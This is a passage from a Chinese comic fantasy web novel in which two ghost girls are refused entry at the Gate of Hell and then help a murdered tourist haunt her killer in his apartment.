“我不能,你也不能了。”大嘴老板望着离开的背影,眼中流淌出悲伤,沉沉说道。
……
沿西南方向行至一处断崖,对面应该就是目的地,二人轻飘飘升起,飞跃低谷。
今晚明月终于探出头,模糊描绘了谷中树木轮廓,树尖的青黑越往下越深,隐入无底深渊。浓郁的漆黑中仿佛有一只手即将伸出,将人拽进去,吞噬、粉碎。
陈献午只瞧了一眼就抬头目视前方,白天看还是壮阔秀丽的美景,和黑夜简直是两个极端。
陈献午原本保持笔挺竖直的姿势往前飘,没一会儿被江越人超越。
江越人跟拍电视剧似的,姿态优美,轻盈飘然,游刃有余。
陈献午借着月光看清了她,登时睁大双眼:喔,还可以这样?!
她赶忙调整了姿势,飞到江越人旁边:“我刚飞直着那么久你咋没提醒我?”
“我以为你喜欢那样。”江越人看到她也开始平着飞,淡淡回道。
陈献午大囧:她对我是不是有什么误解?那种看着像上吊且费劲巴拉的姿势,正常人谁会喜欢。说好听点是飞,实际上是被吊着平移。
抵达目标小丘后,她们选择步行去寻入口。
此时抬头又是不一样的景色,没想到阴间的月清晰皎洁,仿佛抬手可触。月华透过树缝亲吻大地,在叶上留下细碎银色,最后散成一片,照亮脚下。
江越人闭上眼睛仔细聆听,半晌睁眼:“水声从那儿传过来。”
因是初夏,脚下无甚干枯落叶,踩下去有种踏实感。没有一丝风,四周静的出奇,水声愈发明显。
陈献午紧跟江越人,不多时便找到老板所说的桃树。
原还担心不认识桃树,找起来颇有些麻烦,没成想这树枝繁叶茂,花开得肆意潇洒,数量多过了叶子。
此时分明不是桃花开的时节,但阴间这样却不足为奇了。
江越人嗅了嗅,神色舒展开,走得更进了一步,鼻子贴在最近的一株花上,猛吸一口,浓郁呛人的香气顺着鼻腔直达肺部,叫她有些醉了。
她扶着脑袋,轻微摇晃着撤了一步,陈献午握拳挡
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了一下。
“怎么了?”
“没事,香晕了。”离远后才缓和一些,江越人眉间若蹙,提醒道:“别靠太近。”
陈献午点点头,见她站稳便放下手,屏住呼吸上前轻敲三下树干。
敲完她回到原位静静等待着。
……
一分钟过去了,还是很安静。
没有亮光,也没有特别的声音出现,难道是要自己找入口吗?
她们谁也没有说话,十分默契地从树干开始,往东北角察看,偏暗环境让她们不得不靠得很近,浓郁花香强势侵入鼻腔。
陈献午顺着找到最长的树枝都没发现一点异样,难道是敲得太轻了吗?
她不信邪,回到树干重新开始找,不放过每一点细节。
漆黑的山谷里,二人鬼鬼祟祟探着头扒在树上,偏生她们还一句话不说,场面多少有点诡异。
又一遍结束,陈献午还是没找到,脑子倒是越来越沉。
此时江越人第一遍还没结束,她把每一片叶子,每一朵花都细细翻看。
需要这么细致的吗?陈献午有些纠结要不要像这样再找一遍,但是万一从开始就错了,岂不是浪费时间。
就在她犹豫的时候,江越人惊喜道:“我想到办法了!”
“什么办法?”
江越人用行动回答了陈献午的问题,她猛地抬脚踹在树干上,伴随哗哗的动静,落花如雨淋了满头,紧接着第二脚,第三脚……顷刻只剩一朵孤零零的娇花倔强地攀在枝上。
倒拔垂杨柳的林黛玉从段子里跑出来了!
才三脚,桃树变桃秃,以后就跟她混了。
“那朵有问题。”江越人又开始踹树。
陈献午三步并两步过去,凑近一看,有点想骂街,这藏的也太隐蔽了,生怕别人找到,“搞咩呀?防我?”
她将一片花瓣背面翻过来展示给江越人看,一个小小的,和“狗洞”长得很相似的门嵌在上面。
难怪找不到呢眼神再好也没法透视啊。
“你怎么想到的,好拽哦!”陈献午秒变星星眼。
江越人一抬下巴:“喏。”
刚才光秃秃的树瞬间又长满了花,而脚下粉色的地毯证明刚刚踹树后的一幕确实不是幻觉,幸好陈献午手里还捏着那片门没松开。
江越人主动解释自己方才的举动:“我不小心扯掉了一片花瓣,没想到过一会儿又出现了,说明这不是普通桃树,所以我猜肯定有朵花摘不掉。”
陈献午恍然大悟。
设计这么变态的入口的人真是好手段,从这就开始筛鬼了是吧?
“我先进去。”江越人稍显凝重,缓缓说道。
陈献午下意识要阻拦,想想还是没那样做,只道:“小心啊。”
江越人伸出手指轻触那迷你门,一股强大的吸力将她吸进去,速度之快远超眨眼。
陈献午紧跟其后,翻转那片花瓣,轻触进入。
她感觉好像站在原地没动,但眼前景象却已切换,坠坠的脑子也轻松了。
百米外,约三丈高的木质牌楼乍看气派恢宏,“鬼门关”三个大字异常显眼,细看便透出股年头已久的破旧,瘴气缭绕,阴湿之气如有实质扩散开,一旦缠上难以摆脱。
门头上的破灯笼摇摇晃晃,也不大亮,照明全靠两旁泛着青色火焰的油灯。
鬼门关下两排阴差凶神恶煞,依次排查所有经过的鬼,动辄呵斥打骂。通身狰狞凶恶的气势,要说将这些普通小鬼就地打杀了也是有可能的。
12. 第 12 章
忽而阴湿气攀爬包裹住江越人,仿若被毒蛇缠上般粘腻恶心,令她止不住颤栗,虽已极力压制,但效果不大。
陈献午察觉到江越人的颤抖,轻轻握住她的手。
周身的束缚瞬间被驱散,江越人厌恶紧绷的脸色缓和,她缓缓吐息,平复自己,尽量不叫陈献午察觉她还有不适。
第二次触碰陈献午的手了,两次感觉天差地别,属于是两个极端。
早知她有些特殊,但每回都能刷新认知,偏她自己好像不清楚,江越人没有声张,不动声色地收回了手,“谢谢,我没事了。”
“他们手里都拿的什么东西,通关文牒?”陈献午望着排队的鬼魂,疑惑不解,每个人都有,就她们俩没有。
“问问就知道了。”
陈献午撑开翅膀冲到队伍最末尾,指着人家手里的东西问道:“你好,请问这个是在哪里领的?”
被问的人看陈献午眼神有些奇怪,不过还是好心解答:“不是领的,这是黑白无常给的路引,根据你的生前信息和死亡信息生成的唯一识别物,丢了就没了。”他看了眼周围,挑眉小声道:“你可以理解为去蹦迪的出入场凭证,黑白无常就是盖章的门童。”
陈献午虽然没蹦过迪,但是大哥这么一说她就懂了。
“原来是这样,多谢!”陈献午颔首致谢,哒哒哒跑回江越人身边。
“那玩意儿是路引,没那个进不去,我俩的肯定被谢别私吞了。”她斩钉截铁道。
江越人花了点时间理解这句话,但没理解到位:“他私吞这个干什么?他又不是捡破烂的。”
“呃……有点道理。”陈献午也不清楚为何自己第一反应是被私吞了,“但是破烂是不是过分了,那可是我们通过鬼门关的媒介,顺利投胎的关键啊。”
“我们现在不可能找得到他,就算找到了,并且真是他藏起来的,你觉得他会承认吗?”
陈献午想也不想:“不会。”
“排查这么严格,混都混不进去。”江越人盯着最前面的阴差,像是要把他们盯穿。
“咱们先排队,万一没人注意到呢。”陈献午拉着江越人到队伍最末尾。
江越人:“你就放一万个心吧,这个万一绝对不可能发生,除非天塌了。”
“天不能塌,但是这儿可以乱啊。”陈献午在脑海中过了一遍,笑出声来:“等下那些鬼火就会飘到阴差身上,把他们衣服点着,然后人仰马翻,尖叫四起,门口乱成一锅粥,他跑过来,她又跑过去,他们到处瞎跑,我们这时候趁机跑进去,一整套流程下来,只能说完美。”
陈献午眉飞色舞地描述着,江越人都不忍打断,等她说完才道:“你很会想,但是你先别想。”
“我是乌鸦嘴,我说了算。”
江越人:“……”
这一脸得意是要怎样?很自豪吗?
陈献午沉浸在自己的想象中无法自拔,笑得乐不可支,江越人站后面看呆了,她真的没傻吗?
直到前面一个人通过了,陈献午还在幻想呢。
“路引。”阴差手一伸,冷冷道。
“没有。”陈献午看阴差瞬间眉中鼓起沟壑,眉尾冲天,她一着急伸出手,啪一下贴在阴差脑袋两侧,像抱篮球一样捧住阴差的头,两只大拇指用力抚平阴差眉毛补充道:“是不可能的。”
等她反应过来自己做了什么的时候,那阴差已经退开了,像被调戏了似的涨红脸,“你!大胆!”
他欲抬手抹脸,抬到一半硬生生忍住了,望向陈献午的眼神四分羞耻,四分无奈,还有两分崇拜?
陈献午一阵慌乱,不会吧,不会吧,纯情阴差爱上我?我可是看颜的,不约不约。
“对不起,抱歉,我错了,我不是故意的,我再也不敢了。”
“哼,路引拿出来。”阴差没理会她的道歉,也没发难,冷硬中带着小心翼翼。
他不对劲,很不对劲。
陈献午哪里拿的出来路引,只好试探道:“如果没有的话……是不是就不能投胎了?”
阴差语速飞快:“你是本地人吗?不是本地人进不了,如果没有路引,那你就是黑户。”
“那黑户就投不了胎了?这不合理,你们的规章制度有问题。”
早知道离开出租屋的时候把身份证带着了,活了二十一年成黑户了……
还有,本地人是什么鬼?这年头投胎都限制户籍了。
阴差:“有问题你倒是去改啊。”
陈献午咬着后槽牙不说话,有权的是大爷,我要是领导,上任第一件事就是改制度,半晌才道:“那请问还有别的办法吗?”
“有,一直往西直到尽头,那里就是……”阴差发觉自己说的有点多了,“从古至今没几个能到那的,所以你到底有没有路引?”
“没有,再见。”陈献午得到想要的答案甩头就走。
“这不……”阴差刚一开口。
江越人走上前:“瞎耽误功夫嘛,我也不耽误你了,再见。”说罢,丝滑转身离开。
二人走后,阴差意味不明地盯着她们的背影,长舒口气。
她们回到那棵桃树,陈献午正要敲击三下,岂料刚一触碰到树干就被吸进去,从进去的地方弹出来,江越人紧随其后。
“是她们。”关外的长队中,还有一道视线紧紧跟随她们,直到她们的身影消失。
失落离开的两人对此一无所知。
进入鬼门关的两支队伍井然有序的前进着,末尾处阴阳穿梭门凭空浮现,黑无常领着一队鬼魂走出来。
黑无常依次发放路引后,让他们排在队伍最末尾,自己转身离开。
“范爷,您去哪?”队伍中的一个小子还有些发懵,看黑无常离开忙叫住他。
“交班。”
“您不带我们进去吗?不怕我们跑了?”
“往哪跑?你当那些阴差是吃素的?”黑无常阴阳怪气道,他还没见过胆子肥到在阴差眼皮子底下溜走的。
原本队伍最末的那鬼亲眼目睹陈献午和江越人离开,于是积极举手反应:“刚刚有两个人就跑了,在那个大胡子阴差面前离开的。”
新来的小子:“她们怎么知道那个阴差
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是吃素的,那我也排这队。”
黑无常青黑的脸色更重了些,一把拎起蹦跶到另一队的小子,将他丢回原来队列。
敢在他面前商议逃跑,死得不耐烦了。
黑无常用眼神警告那不知天高地厚的小子,看他缩头如鹌鹑,才转身去到鬼门关下,“听说你放了两只鬼离开了?”
大胡子阴差想也不想:“不关你事。”
“你敢渎职,我立刻上报治你的罪!”
“我立刻上报治你的罪~关我屁事。”大胡子阴差瘪着嘴摇头晃脑重复。
黑无常怒不可竭,舌头掉出一米长,“你真是疯了。”
“咦噁,好恶心。”队伍中一个气声冒出,几乎没人听见,但这位黑无常耳力惊人,最忌有人说他坏话。
都是因为眼前这个大胡子!
黑无常压制不住怒火,定要教训这个玩忽职守,脑子有泡的家伙,他二话不说甩出锁链,顶端的勾子在空中旋转几周。
大胡子一看,玩脱了,早知道这家伙不经逗,没想到这么容易起急,忙解释道:“我跟你开玩笑……”
“呲!”
那勾魂锁越来越长,勾住了关外高台上的青釉油灯,黑无常未曾察觉,没等大胡子阴差解释完,就将锁链缠在他身上。
灯芯子吃到阴差的衣服,兴奋地一窜三尺,瞬间将阴差包裹住,愈演愈烈。
各式尖叫拔地而起,阴差们一脚踹倒大胡子,企图用脚踩灭大火。
“我没被烧死就先被你们踩死了,一个脑子不够你们用的啊。”大胡子满地打滚,痛苦嘶吼。
黑无常只是想教训一下他,没想到会变成这样,“去奈何桥舀几桶水来。”
其余几位阴差听他吩咐,手忙脚乱跑去奈何桥。
没了阴差看管,众鬼呼号嘶叫,有歪心思的往四面八方溃逃,还有一些原地傻站着。
之前排队时就四处瞄,眼睛滴溜溜转的几只鬼,在混乱的第一时间就偷摸跑到桃树下溜走了。
一些没反应过来的,或是拿不定主意的,一看他们逃了,立马跟着跑。
黑无常一边想救火,一边又想抓鬼,挂着便秘的表情纠结着。
最后还是选择先救大胡子,鬼跑了还可以再抓回来,残害同事一罪无法挽救。
大胡子被拎着桶匆匆赶来的同事们拯救,仰躺在地面发呆,原来这就是劫后余生的感觉,话说他做阴差这几百年来,从未如此狼狈过。
黑无常见他没事,马不停蹄赶着去抓在逃鬼,化成一卷儿黑烟消失在原地。
一个阴差摸着脖子跑去上报,其余都帮忙抓鬼去了。
大胡子坐在原地,看着面面相觑的鬼魂们感叹:“人世有什么值得留恋的,尝够了苦却还要闷头往里扎,想投胎的还不能投呢。”
这场严重事故导致八十八个鬼潜逃,黑无常费了九牛二虎之力才抓回来三十二个,阎罗王暴怒。
闯下大祸的黑无常果不其然受到严厉惩罚,而大胡子却安然无恙,黑无常更加气愤不服气,本就看大胡子不爽,现在两人之间的梁子彻底结下。
13. 第 13 章
朗朗弦月已至西边,挡在前面的黑云恰好拖着裙摆离开,西瓜似的一牙月亮得以展示全貌,它似乎比云还急切,匆匆亮相便想走下舞台。
江越人抬头仰望思考,鉴于陈献午的特殊情况,想着先回到熟悉的臭豆腐摊,如果老板还在的话就更好了,于是提议:“我们还回那个集市吧,明天再计划之后的事情。”
陈献午低着头,眼神涣散,但她自己不知,只觉得应该尽可能清亮地应答:“好啊。”
江越人听着声音感觉她状态还行,便开始升空。
“咚!”
还未飘到树梢的江越人低头一看,真是怕什么来什么,地上那个四仰八叉的人不是陈献午是谁。
江越人回到地面,有些失笑,一个不用吃饭只睡觉,一个不用睡觉只吃饭,还真是投胎好搭子。
她认命地拉起陈献午,将她胳膊架在肩上,另一手环抱住她的腰,带着她一起飞回鬼集。
这片林子能见度与来时有些许差别了,树就是树,不是陷阱里的钢刺,也不是吞天吐地的怪兽,一棵棵拔高“头颅”,像虔诚的信徒等待晨曦的洗礼。
天没擦亮的空气中有股湿湿的气味,不难闻。
十多分钟后,江越人揽着陈献午轻轻落地,大嘴老板没在,留给他的东西也没拿走。
江越人挑了个边边角,把陈献午放下。
她睡得可真够沉的,像死了一样。
江越人熟练地坐在旁边静静等待着,好像经历了无数次那样不急不躁,像在沉思,又像在放空。
她等到晨光微露,等到太阳完全升起,面前的光斑越来越大,直至连成一片,陈献午还没有醒。
太阳直直照在她脸上,虽然没有实质性的热量,但光线也免不了刺眼。
江越人去小推车那把地上的花圈捡起来,回到陈献午身边,撑起花圈给她挡太阳。
从她站着的角度看,大大的花圈遮住了陈献午上半身和大腿,两只脚和一截小腿露在外面,画面极其荒唐怪异,如果在阳间……还是别如果了。
但这两天发生的荒唐事还少吗?
因此这个设想在江越人脑子里只闪了一瞬,她淡定地在旁边坐下。
又等了一会儿,她有点庆幸昨晚吃得多,不然又得饿扁了,自己也不能把狗洞召唤出来去找吃的,万一遇到突发状况,她都没办法带着陈献午逃跑。
……被陈献午带偏了,是悬浮门,不是狗洞,不是狗洞,不是狗洞。
又又一个小时过去了,江越人屁股坐得有点僵,她站起来打了套八段锦,好多了。
“咕~叽咕~”
又饿了。
趁现在还有力气,江越人抱着侥幸心理走向空地上孤零零的小推车,万一有昨晚没吃完的大肉串呢。
她弯着腰一拉开柜门,幸运女神果然是眷顾她的,里面有很!多!瓶!调料?还有一颗洋葱……
洋葱就洋葱吧,江越人快速把那颗洋葱拿出来,回到陈献午旁边坐下就开吃。
再不补充,她就要开始漏气了。
其实每次饿扁的时候,她都有意识,但是动不了,脑子也转不起来。
江越人扒开深紫色表皮,迫不及待咬下第一口,脆脆的。
但是这颗洋葱为什么这么辣!!!
强忍着吃完这颗洋葱后,江越人总算知道悲伤逆流成河是什么感受了,两边脸颊水淋淋的。
她不停歪头,用肩上的衣服擦去眼泪,然无济于事,这边擦完,新的又流出来了。
眼睛睁也睁不开,手又不敢碰。
死了都没这么伤心过。
“哎呦,终于找到你们了。”
一道声音在旁边乍然响起,江越人猛地抬头转向声源,看不见!该死的洋葱!
“你们也遭他害了啊,我就说这老东西不是东西,以后要下十八层地狱。该死的老棒槌,个黑心肝的秃头鳖孙。”
一连串的叫骂,机关枪似的往外突突,江越人要再听不出是谁,可就真耳聋了。
昨天下午遇见的羊毛卷阿姨,声音一如既往洪亮,但是她说也?那就是说阿姨被那个老贼害死了,所以阿姨能看见鬼,可能是命数到了?
“小姑娘,别哭了,你看你眼睛都哭红肿了。”羊毛卷阿姨放缓声音,语气温柔地安慰,随后蹲在江越人旁边帮她擦眼泪,擦完又怒气十足:“没事,跟着阿姨,阿姨带你们去报仇,让他下地狱。”
江越人被硬控在那儿,没敢说话,她怕一张嘴,洋葱味散得更狠。
羊毛卷阿姨把江越人半揽入怀里,一边用袖子给江越人擦泪,一边自己也开始流泪。
“我闺女也跟你们差不多大,本来这次要和我一起来旅游的,但是公司有事,请不到假,我才报了团。还好她没来,不然……”
羊毛卷阿姨似是说不下去了,哽了哽后放开了哭声,痛哭流涕,好不凄惨。
这阿姨应该是被凉亭内侵占手机的老头给杀了,至于是用什么方式,江越人没看出来,因为阿姨身上没有明显伤痕。
阿姨哭得不能自已,脸贴在江越人头上:“我好想我女儿。”
肆意的哭声大到有些刺耳,江越人此时眼睛不适感已经好了很多,但她只是静静地听着,没有其他动作。
良久,久到江越人肩颈发麻,阿姨才渐渐止住哭泣,转为抽噎。
发泄完的阿姨抹着泪,指指花圈说道:“我就说这个不吉利吧,你们怎么还带着?不是我年纪大的爱啰嗦,有些忌讳还是要避开的。”
但阿姨似乎没想过,阳间的东西怎么可能带得到阴间呢……
她又看向花圈下面笔直躺着的陈献午,疑惑不解:“这小姑娘怎么了?躺在这一动不动的。”
江越人思考到底要不要回答,很怕阿姨闻到她嘴里的洋葱味,知道她流眼泪的真正原因。
而羊毛卷阿姨没等到回答,就以为江越人不能说话,更加怜惜地摸了摸她的头。
阿姨想到什么,惊呼一声:“她也全身骨折?这可难办了,那个小伙子不在这。”
话音刚落,陈献午睁开了眼睛,眉头皱了一把坐起来,把花圈都给弹开了。
看到多出来的一个人,她还有点懵圈:“阿姨?”
“欸!是我。”
陈献午一下清醒:“你也是鬼?不对,你也变成鬼了?”
“对啊,没想到我连累了你们,害你们也惨遭毒手,年纪轻轻就去了。”阿姨嘴巴一撇,又要哭起来。
江越人赶紧给陈献午使眼色,让她不要提了。
可惜江越人眼睛都快闪抽筋了,陈献午就是不朝她看,哪壶不开提哪壶:“您是被那老头害死的?”
阿姨听这话终于察觉出有点不对劲,抽泣道:“你们不也是吗?”
“我们早就死了。”
“那我看见你和……”阿姨低头看江越人,恍然大悟:“这么说,当时只有我看见你们两个人了?所以他们才落荒而逃。”
“是啊,阿姨。您当时跟我说话,我还吓了一跳呢。”
“可是为什么啊?”
陈献午猜测道:“可能是命数已定,将
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死之人才能看见不干净的,呸,才能看见鬼。”
江越人点点头,没想到两人想到一块去了。
阿姨本以为找到一起寻仇的了,从鬼门关跑出来,满山遍野找才找到她们,结果是自己误会了,现下颇为落寞。
“阿姨,有个问题可能会冒犯您,但我必须得问,那个坏人是怎么害死您的?”陈献午还是觉得不妥,又补充道:“别误会,我想帮您报仇,最好让他也经历一遍同样的。”
羊毛卷阿姨抹了一把眼泪:“他把我推下山摔死的。”阿姨转悲为恨,愤愤说道:“我把手机拿走之后就跟着旅行团往上走了,爬了一大段,有人提议再休息一下,我感觉还好,就拿着手机往旁边走走,拍拍风景给我女儿看,我不知道那个坏东西一直在后面跟着,要是知道我也不会一个人走开了。”
“没有别人看见吗?”
“我不知道,我当时刚拍完,转身就有一双手伸出来推我,我看见他在笑。”阿姨拳头攥得死紧,有些语无伦次:“我着急,我想抓,抓他,抓东西,但是什么都抓不到,我急死了。”
陈献午凑上前,把阿姨的手指掰开,安抚道:“好了好了,不说了,我们一起帮你报仇。”
江越人抿着嘴也点点头。
“谢谢你们,你们和那个小伙子一样好。”阿姨带着满脸泪痕真心实意笑道。
“小伙子?哪个小伙子?”陈献午记得昨天有很多人,不止一个小伙。
“就是白无常啊。”
白无常有好的吗?反正她没见过。
“我从那么高的地方摔下来,全身骨头都摔断了,那个长得挺不错的小伙子手一挥就把我骨头接好了,我都没敢看我的身体,然后我就跟他走了,排队的时候看见你们离开,我还纠结,后来起乱子,很多人都跑了,我也跟出来了。”
陈献午觉得阿姨说的肯定不是谢别,虽然长相气质很像,但谢别就是个不负责任的摆烂狗不可能那么好心,他不扎心就不错了。
江越人悄悄挪动两下身体,好酸。
陈献午:“起乱子?什么乱子?”
“就是你们走了之后,有个黑无常和检查的官差打起来了,后来官差着火了,大家都到处跑,我不知道后面还发生什么,我也从你们走的地方出来的。”
陈献午对江越人挑眉:“你看,我说什么来着。”江越人索性闭上眼。
“对了阿姨,虽然我答应帮您一起报仇,但是进展可能没那么快,您得做好心理准备,我们可能连人都找不到。”陈献午又说。
阿姨斩钉截铁:“找得到!我能感觉到。”
“您知道他的地址吗?”
“不知道,但我能找到。”
这种情况属于玄学,确实不太好解释,陈献午表示理解并且完全相信。
陈献午习惯性地看向臭豆腐摊,一眼就看见了躺在地上的哭丧棒,“我的武器。”
“阿姨,您先等一会儿,我们去拿个东西。”陈献午把江越人拉起来,朝小摊那走去。
她捡起两个哭丧棒,还好那人没带走。
“江越人,抱歉啊,我刚刚没有问过你的意见就说要帮忙报仇,如果你不想,可以先找个地方等等我,但是请不要一个人先走,我害怕,可以吗?”
“这有什么好道歉的,你不说我也会说的。”江越人没什么所谓,反正她也看不得人渣逍遥法外,“我对扮鬼吓人挺感兴趣的,最好整死他。”
陈献午:有没有一种可能,你不需要扮。
“那就太好了,我们一起整死他。”
14. 第 14 章
江越人主动伸手拿过一根哭丧棒,“出发!”
二人雄赳赳气昂昂回到阿姨身边,默契十足地同时举起拳头:“整死他!”
羊毛卷阿姨吓一激灵,紧跟着操起更洪亮的嗓门喊道:“整死他!”
“阿姨,咱往哪走,那个老贼在哪?”陈献午恨不得立刻取老头狗命。
阿姨气势突然就萎靡了:“呃,先下山,我现在感觉比较弱。”
陈献午:“好,刚好我们也得先找吃的。”
她打了个双响指,这是她思考很久想出来的最简单还装逼的方式,用来召唤“狗洞”,简单等于高级。
阴阳穿梭门没有片刻耽误,立马出现,陈献午心里美滋滋,笑得一脸灿烂。
“哎呦,这啷个多出来一扇门咯?”阿姨好奇地看着眼前发着光的门。
“这是我的作弊神器,走。”陈献午抬脚踏进门内。
她刚把头伸过去,下一刻丝滑地退了回来,又忘了另一边日头毒得很。
一个响指,送走了“狗洞”,“先带你们去一个地方,到了再进门。”
江越人想了想,都没用陈献午说,她已经拿起地上的花圈收了起来。
阿姨欲言又止,江越人掩着嘴解释:“这里还是阴间,等去了阳间我们需要这个。”
“我说怎么一个人没有呢。”阿姨没再说其它的,反正已经死了,没什么要忌讳的,再差又能差到哪去。
陈献午带着她们又飘去那个墓地,她自己先出去溜达了一圈,还真让她找到了吃的,虽然放了几天有些斑斑点点。
她留下两个元宝,进门把这些吃的放在江越人面前,拿起一个苹果递给阿姨问:“您饿不饿?不够吃我再找找。”
阿姨看着狼吞虎咽的江越人,连连摆手:“不用不用,我好像不需要吃东西。”
陈献午又把苹果放回江越人面前:“慢点吃,没人跟你抢。”
十分钟后,江越人优雅地擦了擦嘴,“我吃好了。”
陈献午举起手一搓,没响。
她镇定自若率先踏进门内,假装什么都没发生,缓缓撑开花圈挡在外面。
阿姨前脚刚踏进来就惊呼:“我感觉到了!”
陈献午把花圈柄递给江越人,“太好了,那我们快点去。”说着她飘起来,离地三米。
看出阿姨的犹豫和无措,江越人更靠近了一点,挡住阿姨和自己:“只要在心里想,就能像她那样。”
羊毛卷阿姨深吸一口气,缓缓飘了起来,江越人则一直和她保持同一高度。
“往西北方向走。”阿姨抬手指了指。
……
百所市。
某老小区一楼,满是坑洼磕碰的阶梯延伸下来,蛛网混着灰团缠绕在锈迹斑斑的钢筋围栏上。
近旁有一户人家开着门,门内风扇呼呼转动,伴随着嘎吱声响彻楼道,时不时还有几句没调的梆子腔传出,半分高亢激烈都无,还不如锯木头声来的有节奏。
屋里的人靸着灰扑扑的行军鞋走来走去,走累了就往门口的摇椅一躺,不聚焦地望着外面。
此人正是报复心极强的王居正,杀害羊毛卷阿姨的罪魁祸首,名字与其人毫不相干。
街坊邻里无一不厌恶他,路过门前时都偏着头加速上楼,恨不能一步迈四阶,他打量人的目光像下水道的臭虫,让人浑身刺挠。
不仅如此,他还极爱占小便宜,经常偷拿别人的东西不承认,即使人赃俱获,他也坚决不认,大家都拿他没办法,只能避着他走。
但昨日回来后,他关着门叮哩当啷闹出好大动静,邻居们只当他又发神经,各自忍着,只是在家里骂他。
今天一早,他一如既往打开门坐在摇椅上晃,上学的小孩无意和他对视上,直接被吓哭,家长忍无可忍,当即要找他说理。
然而一对上他的眼睛,脚步就迈不开了,那位家长抱起小孩就跑了。
王居正的眼神变了,他像个恶鬼,眼中透着说不上来的阴邪,从前顶多是无耻,那家长被他看了一眼才明白孩子为什么哭,分明是六月底的天却令他无端生寒。
一天时间,足够一栋楼知道这件事,于是晚上下班回来的人都低着头脚步匆匆,从他门前跑过。
而陈献午她们也是这个时间赶到这里的,王居正刚吃了晚饭正打盹呢,不过即使他睁着眼,也不会知道自己面前站着一队复仇者。
五楼的小李下班从菜市场买完菜回来,未进楼道就做好了冲刺的准备。
她刚跑进单元楼,余光中那个常年大敞的门正缓缓闭合,引得她不由自主转头细看,这还没到关门的时候呢。
只见王居正闭着眼躺在藤椅上,门却像有人掌着,慢慢关上。
泛着丝丝暑气的夜晚没有刮风,大门另一边也没有窗户,更不可能是所谓的穿堂风。
小姑娘没有细想,或许是门老旧了,不管怎样都跟她没有关系,遂保持原速跑回家。
陈献午关上门后,三人都盯着王居正,眼神中闪着奇异的光。
她们三人中,只有陈献午可能触摸阳间的东西,毫无阻碍。
原本江越人走在最后,她想随手关门,可是手直接从门上穿过,两只手都试过,碰不到一点。
阿姨见状也试了试,同她一样,是陈献午伸手才关上了门。
三人围绕着王居正,各有所思。
陈献午想直接掐死他,但这样就不是阿姨亲手报的仇了,而且这样太便宜这家伙。
江越人则是在想,之前她拿到的东西都是陈献午递过来的,说明经过她的手,阳间物品就不是可见不可触的。
阿姨什么也没想,她胸口剧烈起伏,眼中恨意滔天,恨不能将面前这人千刀万剐,碎尸万段。
“阿姨,最好的报复不是让他立刻死掉,而是苦苦挣扎,想死都死不了。”江越人冷静到像在决定一只蝼蚁的生死。
阿姨恨意不减,她理解江越人的意思,但是理智不允许:“我忍不了。”
江越人一手轻轻搭在阿姨小臂上:“就算现在断他两条腿,他也可以立刻叫救护车,而且生了警惕心就难对付了,不如温水煮青蛙。”
“怎么煮?”
“先弄点无伤大雅的小动静,扰乱他的神经。”
陈献午一听,这是她的范畴,想也不想赞同:“这个好。”
王居正陡然惊起,警惕地四处张望,甚至跑去推开了卫生间的门,没有任何发现。
陈献午三人在原地动也不动,没明白这人怎么一惊一乍,神经兮兮的。
王居正又回到躺椅坐下,这时才发觉大门关上了,在
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他不知道的时候。
家里进贼了!
王居正到厨房抄起一把菜刀,轻手轻脚地挨个房间搜查,牙咬得死紧,已经在心里盘算起怎么弄死对方。
敢关门就得做好交代在这的准备。
江越人跟在旁边观察片刻,冷哼一声:“杀了一次人就无法无天了。”
陈献午见江越人说了话,老头毫无反应,心中便有了计较,原来她以为阿姨能听见是因为她快要死了,结果不是这样,只有自己的声音能被听见,听和看不一样。
为了验证猜想,她站在客厅轻飘飘地说了句:“救我。”
房间内的王居正立刻攥着菜刀冲出来,望着空荡荡的客厅一脸茫然,他分明听到了一道女声。
很快,他的表情又被狠厉替代,神经质地撞开每一扇门,掀开所有柜子,连冰箱都不放过,嘴里一直重复:“我不会放过你的。”
阿姨看着他疯狂翻找,突然觉得可笑,竟然被这种人害得粉身碎骨,如果她当时没有破口大骂,而是直接不要那个手机了,是不是就安全了。
不,一切的命数早就定好了,否则她怎么会看得到旁边这两个小姑娘,是的,没有如果。
所以她做的没错,那本来就是她的手机,凭什么她要忍让。
这无关命数,去他大爷的命数,人生在世,谁会考虑虚无缥缈的未知命数,再带着记忆重来一次,她还是会那样做,还要骂的更狠,捍卫物品所有权没有错!
阿姨想通了之后,对着陈献午和江越人道:“我想让他更恐惧一些,让他知道是我。”
陈献午指指自己,又点点桌上的杯子,然后又指了指阿姨,做了个拂开的动作。
江越人:“她说,她摸一个东西,阿姨您就把那个东西推到地上。”
“可是我碰不到,你帮我推吧。”
陈献午摇摇头又点点头。
江越人:“不会的,相信她。”
陈献午点点头示意开始,伸手碰了下杯子。
阿姨抡圆胳膊,啪地将杯子拍飞。
那玻璃杯飞快地在空中划出弧度,直直撞向墙面,从接触点裂开、扩散,瞬间四分五裂,碎片落在地上弹起又落下,整个过程不到一秒。
王居正又从厨房冲过来,惊恐地盯着地面的碎玻璃碴。
陈献午拉着阿姨绕开王居正,摸了一下地上的暖水瓶。
阿姨本想用脚踹,转念一想这样碎的不够彻底,于是乎,她慢慢举起暖水瓶,瞄准了凶手的脚边砸去。
如果王居正面前有镜子,他会看到身后有个暖水瓶飘起来,可惜他看不到。
瓶胆炸裂的威力极大,声音也不是一个杯子能比的,一道巨响在王居正身旁炸开,他被吓得剧烈震颤,扔掉菜刀冲进房间,用被子将自己紧紧裹住。
“原来人被吓到脸色发白是真的,不是夸张。”江越人正好站在老头对面,看得一清二楚。
陈献午又看上了电视,正要伸手摸,被江越人拦下了,“可以了,刚开始不能太过,循序渐进,吓死了就没得玩了。”
阿姨也觉得有道理,陈献午:“我再说句话。”
她进到卧室,在床边哀伤道:“我好疼啊,我全身都摔碎了,我真的好疼啊。“说完她也没关被子下的人什么反应,直接出去了。
15. 第 15 章
王居正被吓得躲在被子里哆嗦一整夜,天刚亮就乘车不知道去哪了。
而陈献午她们在空房间里惬意舒适,尤其是陈献午,自从她出发投胎,就没睡过床,这一觉睡得舒服到连梦里那个女子都是蹦蹦跳跳着走的。
由俭入奢易,由奢入俭难,陈献午决定明晚不睡床了。
中午,王居正满头大汗拎着一个超大红袋子走进家门。
陈献午朝里面一瞥,好家伙,真给他吓够呛,桃木剑、五帝钱、铜镜等等辟邪的东西买了一堆,甚至还有大蒜。
她跑去卧室把江越人和阿姨拽起来,穿墙而过。
“先在这楼道里待着吧,他买了很多辟邪的,不知道对你们有没有影响。”
王居正将这些东西摆在家里的每一处,每一扇门上都挂了把桃木剑,在看到厨房垃圾桶满是食物残骸时,差点翻白眼栽倒。
